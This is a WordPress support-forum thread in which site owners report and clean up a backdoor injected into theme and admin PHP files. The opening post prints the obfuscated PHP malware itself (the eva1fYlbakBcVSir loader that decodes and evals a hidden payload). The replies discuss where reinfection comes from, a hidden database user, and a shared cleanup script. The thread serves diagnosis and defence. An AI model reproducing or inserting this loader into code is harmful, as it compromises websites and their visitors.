• I just got a java exploit error from my anti-virus and I cant log into my admin of my site.
    This is what my virus program called it.
    Exploit:Java/CVE-2010-0840.KM

    https://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Exploit%3aJava%2fCVE-2010-0840.KM&threatid=2147649278

    The exploit start at line 127 of the wp-admin/admin-header.php file

    if ( $parent_file == 'options-general.php' )
    	require(ABSPATH . 'wp-admin/options-head.php');
    <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk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1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Viewing 13 replies - 16 through 28 (of 28 total)
  • Hi all,
    We have this issue on our website also. We have gone through deleting the code from the php files, but I have not touched the cache. Can I just delete the cache in the themes folder or do I have to do something else? Is there anything else I need to look for?
    THANKS!! Kaz

    I first got this on Oct 20 though I’m just noticing it today after finding a long suspicious code …((!isset($eva1fYlbakBcVSir) in my header, footer, and index file. Throughout the week users were reporting that there antivirus blocked my site because of a trojan.

    FYI – I’m completely up to date with wordpress and am using 3.2.1.

    I’ve deleted all of the malicious code and am in the process of securing things better.

    Found this !isset bit today again even in Twentyten and TwentyEleven themes which I had never used. But my Contact 7 is clean.
    And I got in on 2 sites which didn’t have Contact 7.
    And my sites had the latest WP and all plugins updated.
    So there must be various entrances.

    I have been fighting this for about a year on installs at work. I traced it back to an occurrence in 2008 on one of the sites. A false user had been injected into the database. But the real source of the constant re- infection seemed to be….. “Hello Dolly”. Even though the plugin was inactive. once I found the code inside of it and removed it- the attacks stopped (fingers crossed) it has been 2 months sine I had to remove the crap from my indexes, headers, and footers- so I hope that was it.
    I did, of curse remove the hidden user- but I did get hit again after that. I had to comb through basically ever .php file to find it.
    Of course it’s possible that this exploit wears many masks- but if it happens- check you’re hellow dolly- since it’s in every install- it’s a really good target.

    Thread Starter SBfoto

    (@256studio)

    First thing I do is delete the hello Dolly plugin once I install Wp.

    The Hello Dolly Plugin was infected on your install, but it was not the source of the exploit. There’s nothing in Hello Dolly even to be exploited, AFAIK. It just hooks some text strings into a hook in the admin header.

    Just FYI, I found a partly-written cleanup PERL substitution, which runs much quicker than the PHP, and is useful for anybody who has shell access to their installation.

    I fixed the quoted strings issues and turned it into a shellscript using a simple ‘find’ to get the files to clean, which I’ve put onto pastebin here – https://pastebin.com/8vvWpFR8

    Tekno23 – thank you so much for doing that! Worked great, and I had a LOT of sites to run it on.

    Does anyone have any idea how this code is getting injected in?

    @audioel, check this in your server logs

    @tekno23
    Man you rock. My work has a VPS with over 50 wordpress installs and most of them were infected that perl script saved my life and at least a days worth of work. AWESOME!

    @tekno23, @audioel, @daviddevor
    Please guide me how to use this ‘Bash/Perl fix for “eva1fYlbakBcVSir” WP Backdoor/Malware’ code.

    I’m using VPS as well. ever since I changed to VPS I’ve been getting this infection on my sites. I was able to find which files got infected and replaced with original files, but they were keep coming back with backdoors which is unable to find..

    Sounds like https://pastebin.com/8vvWpFR8 by tekno23 is the alternative way to prevent the infection. But I have no idea how to use this though… ??

    On my cPanel, I’ve just created a new key for SSH and made it authorized (SSH/Shell Access). and clicked ‘Perl Modules’, (page looks like this)….now my head turned to black…. @_@

    I’ll be so appreciated if someone can give any tip how to use this.
    Thanks and best regards.

    @hyky314

    You need to run this script after you log in with ssh and have the command prompt.

    This will not prevent future attacks, it just helps in removing all segments of the code from your files. Look at the thrid post from Jan talking about securing your site from future attacks. If your files are already cleared out than you need to take a look at those links and make sure you dont have security issues with your plugins or .htaccess files. Also check your mySQL users and make sure you recognize all of them. This can be another culprit for malware.

    Hope this helps.

    I used a .php file to find infected files and fix it…but I would like to know if the malware entered through a security breach on the server or on WP…

Viewing 13 replies - 16 through 28 (of 28 total)
  • The topic ‘java exploit hack in wp 3.3. beta’ is closed to new replies.